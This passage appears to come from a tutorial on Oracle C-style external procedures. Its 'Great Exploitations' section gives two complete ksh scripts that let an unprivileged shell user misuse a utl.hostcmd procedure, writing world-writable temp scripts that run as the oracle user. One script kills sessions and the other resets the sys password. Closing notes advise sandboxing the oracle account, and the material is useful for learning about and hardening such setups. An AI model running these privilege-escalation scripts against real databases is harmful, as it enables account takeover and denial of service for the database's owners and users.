Great Exploitations
As discussed above, C-style external procedures can make your system extremely vulnerable to a malicious user with shell access. Here are some scripts that could allow an unprivileged user to do things that he probably was not intended to do:
Assassin script: Killing of Oracle Sessions
-
#!/usr/bin/ksh
-
if [[ -z $1 ]]; then
-
cat <<EOF
-
Usage: ${0##*/} PASSWD
-
Achtung! This script kills Oracle sessions.
-
The utl.hostcmd function needs to be installed
-
and that external procedures on Oracle are working
-
Requirements: The PL/SQL hostcmd function and its binary library
-
Parmaters: 1 SID
-
2 SERIAL#
-
Environment: ORACLE_SID should be defined.
-
EOF
-
echo "Exiting..."
-
exit 1
-
fi
-
-
SID=$1
-
SERIAL=$2
-
[[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
-
LOGFILE=/tmp/${0##*/}.log
-
TMPFILE=/tmp/${0##*/}$$
-
-
cat > $TMPFILE<<EOF
-
#!/usr/bin/ksh
-
ORACLE_SID=$ORACLE_SID
-
VCR_HOME=$VCR_HOME
-
COMMAND="alter system kill session '$1,$2'"
-
echo "Killing oracle session '$1,$2' on Oracle instance $ORACLE_SID" >> $LOGFILE
-
sqlplus -s / >> $LOGFILE 2>&1 <<!
-
$COMMAND;
-
!
-
RETCODE=$?
-
echo $RETCODE >> $LOGFILE
-
exit $RETCODE
-
EOF
-
chmod 777 $TMPFILE
-
-
# Execute script
-
sqlplus -s / >> $LOGFILE <<!
-
set feedback off
-
set autoprint on
-
var RESULT number
-
exec :RESULT:=utl.hostcmd('$TMPFILE');
-
!
-
rm -f $TMPFILE
Change Oracle's 'sys' password
-
#!/usr/bin/ksh
-
if [[ -z $1 ]]; then
-
cat <<EOF
-
Usage: ${0##*/} PASSWD
-
Achtung! This script attempts to set the sys user password by exploiting
-
C-style external procedures.
-
Use this with care and only in extreme cases!
-
Requirements: The PL/SQL hostcmd function and its binary library
-
Parmaters: Desired PASSWD
-
Environment: ORACLE_SID should be defined.
-
EOF
-
exit 1
-
fi
-
-
PASSWD=$1
-
[[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
-
LOGFILE=/tmp/${0##*/}.log
-
TMPFILE=/tmp/${0##*/}$$
-
-
# Create script that will be run as Oracle user sys:
-
cat > $TMPFILE<<EOF
-
#!/usr/bin/ksh
-
ORACLE_SID=$ORACLE_SID
-
COMMAND="alter user sys identified by $PASSWD"
-
echo "Changing sys password on Oracle instance $ORACLE_SID" | tee -a $LOGFILE
-
sqlplus / >> $LOGFILE 2>&1 <<!
-
$COMMAND;
-
!
-
-
RETCODE=$?
-
echo $RETCODE >> $LOGFILE
-
exit $RETCODE
-
EOF
-
chmod 777 $TMPFILE
-
-
# Execute script
-
sqlplus / >> $LOGFILE <<!
-
set feedback off
-
set autoprint on
-
var RESULT number
-
exec :RESULT:=utl.hostcmd('$TMPFILE');
-
quit :RESULT
-
!
-
-
RETCODE=$?
-
# Clean up
-
rm -f $TMPFILE
-
exit $RETCODE
Final Notes
1. It is only necessary to register an external procedure once, unless the interfaces to the procedure changes. Subsequent rebuilds due to code changes in the external procedures do not affect the registration with Oracle.
2. When registering an external procedure, it is essential to state the absolute path of the binary that holds the external procedure(s).
3. Once an Oracle session has executed an external procedure, it has been found that the session can lock the binary for some time. This can slow the development / test iteration cycle down, but can be circumvented by restarting the Oracle session (e.g. log out and then in again).
4. An external procedure has permission to execute any commands that the O/S user 'oracle' is able to execute. It is therefore wise to sandbox the O/S user 'oracle'.
5. On UNIX (as opposed to Linux), ensure that the linker is not a GNU linker but is the proprietory linker that came with the system.
Other Reading
Oracle Application Developer's Guide - Fundamentals. Chapter 10 - Calling External Procedures.
Oracle Supplied PL/SQL Packages and Type Reference. Chapter 92 - DEBUG_EXTPROC.
© Gerrit Hoekstra